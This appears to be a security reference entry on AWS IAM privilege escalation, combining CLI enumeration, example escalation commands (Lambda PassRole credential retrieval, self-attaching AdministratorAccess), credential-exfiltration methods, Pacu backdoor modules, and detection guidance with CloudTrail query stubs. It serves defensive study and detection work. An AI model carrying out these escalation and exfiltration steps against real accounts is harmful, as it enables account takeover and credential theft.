Summary

AWS IAM privilege escalation abuses overly permissive IAM policies to elevate access from a low-privilege identity to administrator. Any permission that allows modifying IAM policies, assuming privileged roles, or passing roles to AWS services that execute code represents a potential escalation path. 30+ distinct paths have been documented; PMapper can identify all viable paths automatically for a given AWS account.

How It Works

Step 1 — Enumerate Current Permissions

Attacker starts with any AWS identity (user, role, instance profile) and enumerates what it can do.

Identity check (always works — no policy can block it):

aws sts get-caller-identity   # returns UserId, Account, Arn — the AWS "whoami"
aws iam get-user              # similar info, requires iam:GetUser permission

get-caller-identity is the near-universal first move for both defenders and attackers: it returns information that could be inferred from error messages anyway, so no IAM policy can prevent a valid credential from calling it.

Account-wide snapshot (often denied, worth trying anyway):

aws iam get-account-authorization-details   # full IAM config snapshot: users, groups, roles, policies, relationships

Enumerate users:

aws iam list-users
aws iam get-user --user-name <user>                          # user metadata — includes permissions boundaries!
aws iam list-service-specific-credentials                    # service-specific credentials for the current user
aws iam list-access-keys                                    # own access keys
aws iam list-access-keys --user-name <user>                  # another user's keys (if permitted)
aws iam list-user-policies --user-name <user>                # inline policy NAMES only
aws iam get-user-policy --user-name <user> --policy-name <policy>   # inline policy CONTENT
aws iam list-attached-user-policies --user-name <user>        # attached MANAGED policies
aws iam get-login-profile --user-name <user>                  # does this user have console password access? returns UserName + CreatedDate if so

A user with no inline policies (list-user-policies returns empty) is not the same as a user with no permissions — always also check group membership and managed policy attachments before concluding a user is low-value.

Enumerate groups:

aws iam list-groups
aws iam list-groups-for-user --user-name <user>               # which group(s) is this user in?
aws iam get-group --group-name <group>                        # membership roster
aws iam list-group-policies --group-name <group>               # inline policy NAMES
aws iam get-group-policy --group-name <group> --policy-name <policy>   # inline policy CONTENT
aws iam list-attached-group-policies --group-name <group>       # attached MANAGED policies (e.g. AWS-managed ARNs like AmazonS3ReadOnlyAccess)

Best practice (and therefore common in the wild) is to grant permissions via group membership rather than directly on users — so group enumeration frequently reveals more than user-level policy checks alone. Take notes as you go; re-deriving group/policy names later wastes CLI round-trips.

Enumerate roles:

aws iam list-roles                                             # can return hundreds — accounts allow up to 1,000 roles by default
aws iam list-roles --query "Roles[?RoleName=='<role>']"         # filter to a known role name (case-sensitive)
aws iam get-role --role-name <role>                             # get details for one specific role directly (avoids paging through list-roles)
aws iam list-role-policies --role-name <role>                   # inline policy NAMES
aws iam get-role-policy --role-name <role> --policy-name <policy>   # inline policy CONTENT
aws iam list-attached-role-policies --role-name <role>           # attached MANAGED policies

The list-roles/get-role output includes the role’s AssumeRolePolicyDocument — its trust policy, i.e. who is allowed to assume it (often scoped to a specific principal via an ArnEquals condition). This is distinct from the role’s actual permissions, which only list-role-policies/get-role-policy/list-attached-role-policies reveal. A role whose trust policy names a different user than the one you’re currently enumerating as is a strong pivot target: escalating to that named principal (or otherwise satisfying the trust condition) becomes the path to assuming the role. Overly broad role permissions (e.g. s3:*) are a red flag worth flagging in any review, not just during an attack.

Enumerate policies:

aws iam list-policies [--only-attached] [--scope Local]         # --only-attached: only policies attached to a user/group/role; --scope Local: customer-managed only (vs. --scope AWS for AWS-managed)
aws iam list-policies-granting-service-access --arn <identity> --service-namespaces <svc>   # e.g. --service-namespaces eks — which policies grant this identity access to a given service
aws iam get-policy --policy-arn <arn>                            # details for a specific policy
aws iam list-policy-versions --policy-arn <arn>                  # all versions of a managed policy + which is the current default
aws iam get-policy-version --policy-arn <arn> --version-id <v1|v2|...>   # content of a specific policy version
aws iam list-entities-for-policy --policy-arn <arn>              # all users/groups/roles a managed policy is attached to

list-policy-versions + get-policy-version matters because iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion is itself a direct escalation path (see Technical Reference below) — enumerating existing versions first shows whether a rollback to a more permissive prior version is even possible.

Enumerate MFA:

aws iam list-mfa-devices [--user-name <user>]                    # MFA devices for a user (auto-detected from the access key if --user-name omitted)
aws iam list-virtual-mfa-devices [--assignment-status Assigned|Unassigned|Any]   # all virtual MFA devices in the account, optionally filtered by assignment status

A user or role that should have MFA-enforced conditions but shows no MFA device assigned is a signal that MFA-conditional policy checks (aws:MultiFactorAuthPresent) may not actually be gating anything for that identity.

Step 2 — Identify Escalation Path

One or more of three escalation categories is present:

A — Direct policy manipulation Permissions like iam:AttachUserPolicy, iam:PutUserPolicy, iam:CreatePolicyVersion allow directly granting admin access to the current identity.

B — Identity takeover Permissions like iam:CreateAccessKey, iam:UpdateLoginProfile, iam:UpdateAssumeRolePolicy allow taking over a higher-privileged identity.

C — PassRole + service execution (most common) iam:PassRole combined with a service permission (e.g., lambda:CreateFunction, ec2:RunInstances, ecs:RunTask) allows passing a privileged role to a service that runs code — the code then retrieves the privileged credentials from within the execution environment.

Step 3 — Execute Escalation

Example — Lambda PassRole escalation:

# Create function with privileged role
aws lambda create-function \
  --function-name privesc \
  --runtime python3.9 \
  --role arn:aws:iam::<account>:role/<privileged-role> \
  --handler index.handler \
  --zip-file fileb://function.zip
 
# Invoke to retrieve role credentials
aws lambda invoke --function-name privesc out.json

Example — direct policy attach:

aws iam attach-user-policy \
  --user-name <your-user> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Step 4 — Validate Escalated Access

aws sts get-caller-identity
aws iam list-policies --scope Local   # Confirm admin access

Technical Reference

Permission Categories & Abuse Methods

1. Direct Policy Manipulation

Permissions that let an attacker modify their own or others’ permissions directly.

PermissionAbuse Method
iam:AttachUserPolicyAttach AdministratorAccess to your own user
iam:AttachRolePolicyAttach admin policy to a role you control
iam:AttachGroupPolicyAttach admin policy to a group you’re in
iam:PutUserPolicyCreate inline admin policy on your user
iam:PutRolePolicyCreate inline admin policy on a role you control
iam:CreatePolicyVersionCreate a new version of an existing policy with *:*
iam:SetDefaultPolicyVersionRoll back a policy to a previous permissive version
iam:DeleteUserPolicyRemove a restrictive inline policy from yourself

2. Identity Takeover

Permissions that allow taking control of a higher-privileged identity.

PermissionAbuse Method
iam:CreateAccessKeyCreate access keys for a more privileged user
iam:CreateLoginProfileSet a console password on an account with no password
iam:UpdateLoginProfileChange the console password of a privileged user
iam:AddUserToGroupAdd yourself to a group with admin permissions
iam:UpdateAssumeRolePolicyModify a role’s trust policy to allow your identity to assume it

3. Permissions Boundary Removal

Permissions boundaries cap what a role/user can do even if policies allow more. Removing them is silent escalation.

PermissionAbuse Method
iam:DeleteRolePermissionsBoundaryRemove boundary from a role, enabling full policy permissions
iam:DeleteUserPermissionsBoundaryRemove boundary from a user

4. PassRole + Service Escalation (Most Common)

iam:PassRole combined with a service permission is the most prevalent escalation path. The attacker passes a privileged role to a service that executes code, then retrieves credentials from that execution context.

Required combination: iam:PassRole + one of the following:

Service PermissionAttack Method
ec2:RunInstancesLaunch EC2 instance with privileged role; retrieve creds via user data or IMDS
lambda:CreateFunction + lambda:InvokeFunctionCreate Lambda with privileged role; invoke to exfiltrate creds
lambda:UpdateFunctionCodeModify existing Lambda code to exfiltrate its role credentials
lambda:UpdateFunctionConfigurationAdd malicious Lambda layer to existing function
ecs:RunTaskRun Fargate task with command override to exfiltrate creds
cloudformation:CreateStackDeploy stack with privileged role; include resource that exfils creds
glue:CreateJob + glue:StartJobRunCreate Glue job with privileged role, exfil from job execution
glue:UpdateDevEndpointUpdate SSH public key on Glue dev endpoint; SSH in and steal creds
datapipeline:CreatePipeline + datapipeline:PutPipelineDefinitionCreate pipeline with elevated role
autoscaling:CreateLaunchConfigurationCreate launch config with privileged role attached to new instances

5. CodeStar / Misc

PermissionAbuse Method
codestar:CreateProjectGrants enumeration permissions and organizational access
codestar:AssociateTeamMemberElevate access within CodeStar project scope

Credential Exfiltration Methods (Post-Escalation)

Once a privileged role is assumed or a service executes with elevated permissions, creds are extracted via:

  • EC2 user data scripts — executed at instance launch, can POST creds to attacker URL
  • IMDS endpoint — http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> from within the instance
  • Lambda environment — os.environ['AWS_ACCESS_KEY_ID'] etc. from within function
  • CloudWatch Logs — print creds to stdout, retrieve from logs

Tool Commands

PMapper key commands:

# Graph the account
pmapper graph create
 
# Find all privesc paths from a specific principal
pmapper analysis --suggest
 
# Query specific path
pmapper query "who can escalate privileges"

Pacu IAM modules:

run iam__privesc_scan          # Scan for all privesc paths
run iam__enum_permissions      # Enumerate current permissions
run iam__backdoor_users_keys   # Create backdoor access keys

MITRE ATT&CK Mapping

TechniqueIDDescription
Valid Accounts: Cloud AccountsT1078.004Using existing IAM identity as foothold
Abuse Elevation Control MechanismT1548Exploiting IAM policy misconfigurations to elevate privileges
Account ManipulationT1098Modifying IAM policies, group memberships, or role trust relationships
Create Account: Cloud AccountT1136.003Creating backdoor IAM users or access keys

Detection Opportunities

Key Log Sources

  • CloudTrail — all IAM API calls are logged; this is the primary detection source
  • AWS Config — tracks configuration changes to IAM policies, roles, and users
  • GuardDuty — has some IAM anomaly detections built in
  • IAM Access Analyzer — identifies overly permissive policies proactively

Behavioral Indicators

  • IAM policy attachment events for the same identity that recently assumed a new role
  • iam:CreatePolicyVersion followed immediately by iam:SetDefaultPolicyVersion
  • iam:PassRole to a service that is not normally used by that identity
  • Lambda/ECS/Glue resources created or updated by an identity with no prior history of doing so
  • iam:CreateAccessKey called against a user other than the caller’s own identity
  • iam:UpdateLoginProfile or iam:CreateLoginProfile on a high-privilege account
  • iam:DeleteRolePermissionsBoundary or iam:DeleteUserPermissionsBoundary — rare and suspicious
  • New role trust policy modification (iam:UpdateAssumeRolePolicy) not matching a change request

Artifacts Left Behind

  • New policy versions attached to existing managed policies
  • New inline policies on users, roles, or groups
  • New Lambda functions, Glue jobs, or ECS tasks created during off-hours
  • CloudTrail event: CreatePolicyVersion with isDefaultVersion: true
  • CloudTrail event: AttachUserPolicy with AdministratorAccess ARN

Query Stubs

CrowdStrike FQL

// IAM policy attachment to self or other user
event_simpleName=CloudTrailEvent
| EventName IN ("AttachUserPolicy", "AttachRolePolicy", "AttachGroupPolicy", "PutUserPolicy", "PutRolePolicy")
| table _time, UserName, EventName, RequestParameters
 
// PassRole to service — high value escalation signal
event_simpleName=CloudTrailEvent
| EventName="PassRole"
| table _time, UserName, RequestParameters, SourceIPAddress
 
// CreateAccessKey called against a different user
event_simpleName=CloudTrailEvent
| EventName="CreateAccessKey"
| eval self_action=if(RequestParameters.userName==UserName, "self", "other")
| self_action=other
| table _time, UserName, RequestParameters.userName, SourceIPAddress

Databricks SQL

-- IAM escalation actions in CloudTrail
SELECT
  event_time,
  user_identity_arn,
  event_name,
  request_parameters,
  source_ip_address
FROM cloudtrail_events
WHERE event_name IN (
  'AttachUserPolicy', 'AttachRolePolicy', 'AttachGroupPolicy',
  'PutUserPolicy', 'PutRolePolicy', 'PutGroupPolicy',
  'CreatePolicyVersion', 'SetDefaultPolicyVersion',
  'DeleteRolePermissionsBoundary', 'DeleteUserPermissionsBoundary',
  'UpdateAssumeRolePolicy', 'CreateAccessKey', 'UpdateLoginProfile'
)
ORDER BY event_time DESC;
 
-- PassRole events — pivot point for service escalation
SELECT
  event_time,
  user_identity_arn,
  request_parameters,
  source_ip_address
FROM cloudtrail_events
WHERE event_name = 'PassRole'
ORDER BY event_time DESC;

Tools Reference

ToolPurpose
PacuAWS exploitation framework; has IAM privesc modules
PMapperGraphs IAM relationships and identifies all escalation paths automatically
iam-vulnerableBishopFox lab environment for practicing IAM privesc (by Seth Art)
AWS CLIManual enumeration and exploitation
IAMActionHunterEvaluates one or more IAM policies to quickly identify issues
IAMFinderEnumerates users and IAM roles in a target AWS account
EnumerateIAMBrute-forces all get*/list* API calls allowed by a credential set to discover its actual effective permissions (non-destructive)
aws_escalate.pyRhino Security Labs script that scans a credential set for known privesc paths
ScoutSuiteBroader multi-cloud security auditing tool that also flags IAM misconfigurations (appears unmaintained as of recent checks)
ProwlerAWS/cloud security auditing tool; also catches IAM misconfigurations

Threat Actor Usage

PassRole escalation and direct policy manipulation are used across financially motivated actors, nation-state APTs, and red teams targeting AWS environments. Any post-compromise cloud pivot will attempt IAM escalation as a first step.

Actor TypeCommon Method
Financially motivatedCreateAccessKey on privileged users, PassRole to Lambda
Nation-statePersistence via backdoor roles, UpdateAssumeRolePolicy
Insider threatAttachUserPolicy, AddUserToGroup
GUI-Vil (p0-LUCR-1)iam:CreateLoginProfile on existing users (stealth takeover) + iam:PutUserPolicy/AttachUserPolicy for admin, followed by EC2/ECS cryptomining — see below

Real-World Case Studies

Three independently documented intrusions all converge on the same core escalation/persistence pairing — iam:CreateLoginProfile + iam:AttachUserPolicy/iam:PutUserPolicy against a new or existing IAM user — used to pivot from a single leaked access key to full admin console access, then cryptomining (EC2 or ECS Fargate). Full technical breakdown, IOCs, and the actual persistence script used in the wild: GUI-Vil (p0-LUCR-1) AWS Cryptomining Campaigns - Research Extraction and GUI-Vil (p0-LUCR-1) (actor profile).

Key real-world detection signal not obvious from the generic technique description above: iam:CreateLoginProfile called against a user that already existed (as opposed to a brand-new user created moments earlier) is GUI-Vil’s specific stealth pattern, and is rare enough in legitimate operations to be high-fidelity on its own.


References